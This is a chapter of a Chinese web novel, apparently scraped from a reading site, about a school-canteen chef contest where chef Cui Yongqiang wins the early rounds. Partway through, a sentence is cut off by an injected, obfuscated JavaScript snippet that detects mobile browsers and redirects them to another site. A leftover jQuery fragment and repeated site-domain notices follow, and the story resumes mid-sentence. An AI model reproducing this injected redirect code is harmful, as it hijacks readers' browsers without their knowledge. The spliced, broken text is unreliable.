随着李志军的演讲结束，台下掌声雷动，现场一众大学生发自内心的为李志军鼓掌，


    而且在李志军刚刚演讲的过程中，现场围观的人也越来越多，


    此时他们也明白了这个原本无聊的厨师活动，却有着不平凡的意义。


    而现场邀请的嘉宾们也是被李志军的演讲感染到，一边鼓掌一边点头，尤其是万振邦和郭万良，也是满眼赞许。


    不禁感觉真是虎父无犬子，难怪李泽演讲也那么好，原来这李志军口才也是非常不错，而且同样是个很有思想的人。


    不过现场那些前来参赛的厨师们却是神情各异，有个的满脸认同的表情，为


    有的神情复杂，甚至眼中有几分羞愧。


    但也有满不在乎，态度敷衍，甚至嘴角噙着冷笑与嘲讽的人。


    这些人他们大部分人都在各个学校食堂工作，对食堂里的情况可谓是了如指掌，


    李志军刚刚所说的话，那就是赤裸裸的现实，是他们每天面对的情况。


    味道不好其实都已经是最小的问题了，食材质量和健康问题才是最大的。


    虽然大多数都是老板决定的，但他们厨师也都成了助纣为虐之人，


    可能曾经他们有过内心的罪恶感，可是时间长了也就无所谓了，


    工作不认真，菜品质量和味道也是全看心情，就更别说严格把控卫生与健康了。


    有时候为了省时省力，直接用点科技与狠活也是常有的事。


    所以李志军今天这番演讲，也仿佛是在鞭策他们，还有良知的人，自然内心有些愧疚，心情有些复杂。


    而那些本就没有多少良知和底线的人，自然毫不在乎，甚至觉得李志军那所谓的愿景和初衷就是个笑话。


    连有关部门都改变不了的现状，一个普通人就想改变，那就是痴人说梦。


    “说的真好！”崔永强用力的拍着手，眼神中有着炽热，甚至有点崇拜李志军。


    感觉李志军讲的每句话都说到他心坎里了，他虽然没有孩子，但他有良知，


    他一直觉得给孩子做的饭菜，哪怕不够美味可口，但绝对要健康，这是底线。


    可惜现实中能够坚守底线的厨师太少，能够真心替那些学生考虑的食堂老板就更少了。


    如果李志军是食堂老板就好了，自己一定要成为他的员工。


    崔永强心想着。


    李志军演讲结束后，厨师协会副会长常冬青和校方领导也上台简单演讲了几句。


    待得所有人都讲完话，主持人也正式宣布初赛开始，并讲解了一下初赛规则。


    规则并不复杂，所有参赛厨师在限定的食材中随意挑选，自由设计菜品进行烹饪。


    然后在规定的时间里，按照正常食堂一锅出菜量来烹饪一道大锅菜。


    现场所有评委会对他们烹饪的菜进行打分，根据排名进行淘汰和晋级。


    由于食堂灶具有限，所以这些参赛者需要分成六组进行，排序按照抽签决定。


    评委由专业评委和大众评委两部分组成，评分占比分别是70%和30%。


    专业评委也就是李泽邀请来的那些嘉宾，他们将从食材营养搭配，烹饪过程，最终菜品呈现出的口味等多个维度进行综合打分。


    而大众评委则是单纯就他们对菜品的喜好与否，决定是否给予支持。


    每一个大众评委的支持记一分。


    经过现场的抽签排序后，崔永强抽到了第三组出场。


    比赛开始，第一组参赛的厨师开始构思菜品，挑选食材。


    这些食材全都是卢海凡给李泽介绍的优质供应商，食材品质都是非常好的。


    “别说这食材还真不错啊。”


    “哎呀，咱们平时哪里有机会用到这么好的食材啊。”厨师们一边挑选食材，一边议论着。


    他们在食堂能接触到的食材很少有这么好的，


    这不是新鲜不新鲜的问题，而是品质好坏。


    作为厨师他们自然能分辨出食材好坏与否。


    而优质的食材本身就会给菜品味道增色不少，所以只要拿出正常水平做出来的菜，就不会太难吃。


    所以这就要拼他们的厨艺水平了。


    这初赛也就是做个基础筛选，将那些技术太差，或者浑水摸鱼的人淘汰掉。


    果不其然，随着第一组比赛开始，这牛鬼蛇神也就现了原形，


    个别厨师不知道是学艺不精，还是因为在食堂里工作“糊弄”太久了，连基本功都忘了。


    刀工业余也就罢了，连咸淡都掌握不好，


    而且烹饪过程中很多违规操作，不注意卫生细节的地方太多了，


    估计也是平时在食堂里养成的坏习惯。


    李泽全程在旁边直播，看的也是频频摇头，


    不用想就知道那厨师所在的学校食堂估计也比他们好不了多少。


    评论区里无数网友也在吐槽和批判，更是直接喊话将这厨师淘汰掉。


    李泽虽然没有说什么，但他其实也知道，这种人铁定要被筛选掉的。


    许久后，第一组全部出餐，评委们纷纷品尝了第一组各位选手的菜品，也进行了逐个


    打分。


    随后第二组开始挑选食材，设计菜品进行烹饪。


    就这样一组又一组不断的进行。


    初赛并没有菜品类别限制，哪怕重复也无所谓。


    所以几组下来，也是有不少重复菜品出现的，


    但尽管相同的菜品，那味道也是千差万别，好吃与否，完全看厨师的技艺了。


    而当到了第三组开始烹饪时，崔永强不禁引起了李泽的注意。


    作为同样拥有专业厨师技能的李泽，自然也有分辨别人技术好坏的眼力。


    更何况那崔永强不仅仅是刀工精湛，在烹饪方法上也明显跟其他人不同。


    他的整个烹饪过程极为标准，非常注重卫生细节，


    而且他选择的烹饪的菜品也是与众不同。


    其他厨师烹饪的菜品依旧是食堂里常见的那些品类，都是容易且适合大锅烹饪的。


    而崔永强选择的菜品，却是只有在餐厅里才能吃得到，很难用大锅进行大量烹饪的菜品。


    这种菜就算能做出来，但味道也绝对好不到哪里去，因为对于火候掌控要求太过严苛。


    而大锅菜因为量大，火力控制相对困难，食材受热不均，有的食材炒好了，另一种食材还半生不熟。


    有的食材熟了，而另外食材的火候却过了。


    所以烹饪这种极为考验火候把控的菜品，本身就是一种挑战，


    没有绝对把握，基本不会轻易尝试，不然就是弄巧成拙。


    毕竟才初赛，大家都是求稳的。


    但崔永强那有条不紊，游刃有余的状态，让李泽心里也充满了期待。


    甚至感觉，这或许就是自己想要的优秀厨师。


    崔永强将不同食材分组进行预烹饪，或者说是预加工，


    甚至个别食材他分成了两部分来烹饪。


    最后再有序的进行复炒，虽然过程有些麻烦和繁琐，


    但却用最合适的火候，烹饪了每一种食材。


    不至于因为食材量太大，而导致受热不均，


    但这个过程说起来简单，其中技术难度却不低，


    需要厨师对于食材火候有着精准的判断和了解，更是在无数次实践中练就出来的能力。


    本站域名已经更换为 。请牢记。 而且的确很耗费体力，但过程虽然复杂，从整体时间来看，他也并没有比其他人用时长多久。


    完全在规定的时间内完成了足量菜品的烹饪。


    而从最终呈现的菜品色泽与外观，明显远比其他人的菜品更为精致，更为鲜亮诱人。


    虽然同样是大锅菜量，却给人一种饭店小锅菜的色泽。


    单单从外观就已经完胜了。


    评审环节，李泽也亲自品尝到崔永强的那道菜，当真是惊喜不已。


    果然没有让他失望，这崔永强烹饪的大锅菜真是色香味俱全，味道非常好，仿佛就是餐厅里的菜。


    其他评委也都给崔永强打了很高的分数，现场大众评委也几乎都给他投了支持得票。


    虽然比赛还没有结束，但李泽感觉自己已经看到了冠军候选人之一。


    这让他很开心，毕竟举行这次赛事活动的目的之一，就是希望可以发掘出优秀的厨师，方便以后挖过来。


    “真是差点就错过了这个优秀的厨师啊。”李泽心中感叹着。


    当初如果不是崔永强的坚持，错过报名时间的他，或许连参赛的资格都没有。


    不过，初赛才刚刚进行一半，后面或许还有其他优秀的厨师，李泽心中也充满了期待。


    时间一点点过去，各组厨师也都陆续完成了比赛。


    后续的厨师之中，也有几个厨艺非常优秀的，虽然选择的菜品同样很保守，但烹饪方法和技术还是明显强于其他人的。


    待得六组全部烹饪完成，也已经是中午十二点左右了。


    评委打完分，工作人员现场核分，然后根据总分排名，进行淘汰。


    “接下来我将公布通过初赛的选手名单……崔永强……”主持人开始宣布名单。


    崔永强不出意外，第一个被点到。


    成功晋级的崔永强也是开心不已，感觉自己距离成功似乎又近了一步。


    而且这第一轮比拼也让他信心倍增，感觉很有希望夺得最终的冠军。


    倒不是他膨胀自大，而是同行的确一个能打的也没有。


    下午一点半，比赛继续。


    晋级赛需要所有选手烹饪主办方指定的同一个菜品。


    这菜品也是李泽与厨师协会共同商量制定的，虽然是在餐厅里很常见的菜品，但却不是常见的食堂菜品。


    因为其烹饪难度较高，而且很复


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14336699|152577||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    杂，对于厨师的技术有着很高的需求。


    而且比赛规则要求所有厨师同样是以食堂大锅出餐量为标准的。


    且需要选手严格遵守标准化操作，注意卫生细节，并根据自己的理解做细节创新和营养搭配。


    这些都将关乎比赛最终评分。


    这一轮专业评委的分值比例达到了80%，大众评委只有20%。


    随着比赛开始，厨房再次变得热火朝天，选手们开始烹饪前的准备，洗菜切菜，各种


    配料的改刀和预制。


    因为大锅菜需求的菜量很大，他们需要清洗和改刀的工作量也是很大的，


    这就要考验厨师的耐心，以及平日里的工作态度，更容易展现出细节的优劣。


    比如有的人清洗明显不到位，有的人对食材的处理也很是粗糙。


    而到了烹饪环节，各选手的技术和能力，以及对烹饪的理解的差距就更为突出和明显了。


    甚至有技术能力不足的选手，菜还没锅时，就已经基本被判了死刑。


    因为原本的炒菜，已经变成了炖菜。


    原本需要完整度的食材，已经面目全非了。


    而到了第二组人员时，更是有人直接当场选择放弃比赛，因为他压根就不知道该如何烹饪，硬着头皮去做，也不过是浪费时间和体力。


    晋级赛的选手分组顺序是按照上午初赛分数排名的。


    排名越靠前的反倒被分到最后一组。


    所以当崔永强走进厨房时，已经是下午四点多了。


    但他这一组的选手明显整体烹饪技术都非常过硬，从食材选择和搭配，到后面清洗该带，卫生细节，以及后续的烹饪方法等方面，的确展现出了优秀的水平。


    不过彼此之间还是亦有差距和不同。


    经过了四十余分钟后，最后一组六位选手全部烹饪完毕。


    评委们开始品尝打分，工作人员迅速做核算。


    当最终排名结果送到李志军手里时，不出意外的，崔永强依旧是位列第一名。


    甚至整体排名其实跟上午初赛排名相差不多。


    主持人再次宣布了晋级名单，这一次直接淘汰掉了一半选手。


    最终只剩下九名选手成功晋级决赛。


    “接下来我将宣布决赛规则……”主持人开始宣布决赛规则。


    决赛将于下周六举行，九名选手将由一周的时间做准备和研究。


    他们需要再一周的时间里，设计三道创新餐食，要求同样适用于食堂出餐要求，同时要注重营养搭配和味道。


    “决赛当天，我们还将请来《孤勇者》原唱歌手泽里的山路十八弯，《晚风与你》原创歌手笙箫，亲临现场演唱歌曲，为活动助阵，敬请期待。”


    听到主持人的话，现场一群观看比赛的大学生顿时沸腾了，惊呼声顿时此起彼伏。


    “我去，真的假的啊？”


    “牛逼啊，卧槽，这主办方真舍得花钱啊，为了决赛热度，竟然重金请歌手来助阵啊。”


    “决赛是不是也在咱们学校啊？”


    “应该是吧。”


    “哇塞那咱们不是可以看现场了吗。”


    “到时候还能看到《孤勇者》原唱。这家伙好像挺神秘的，网络上都没有他真实的身份信息。”


    “是啊，都不知道这原唱长什么样，这么说咱们下周有机会见到他本人了啊。”


    同学们一脸激动，虽然这两个歌手算不上是什么大明星，


    但他们的歌可是火爆网络的，足以称得上是网红歌手了。


    尤其是《孤勇者》那首歌的演唱者，


    如果那人想要出名的话，估计现在已经是明星了。


    真没想到这活动主办方真是下血本了，为了提升决赛的热度，竟然还花钱请了歌手过来。


    不仅仅是这些学生感到惊讶，所有观看直播的网友们也是惊讶不已。


    评论区顿时变得更加热闹。


    他们也是没想到，一个厨师比赛，竟然还会请歌手来表演，这也算是某种跨界合作了。


    但该说不说，如果真的请来这些网红歌手，还真的会让这个校园食堂厨神大赛在网络上获得更多的流量和关注。


    毕竟这几首歌目前本身就自带流量，而一个地方的民间厨艺赛事活动，竟然还请了这几首歌的原唱过来。


    这本身也很具有话题性，能够引起很多讨论，引起好奇。


    只能说主办方还是很懂互联网，很懂流量的。


    “支持支持！”


    “期待决赛。”


    “真的吗？如果是真的，那我可就关注了。”


    “哇塞，还不知道《孤勇者》原唱到底是谁呢，这次难道有机会见到真人了？”


    “是啊，主办方用心了。”


    “关注了，期待决赛。”无数网友在评论区里留言。


    ……


    本站域名已经更换为 。请牢记。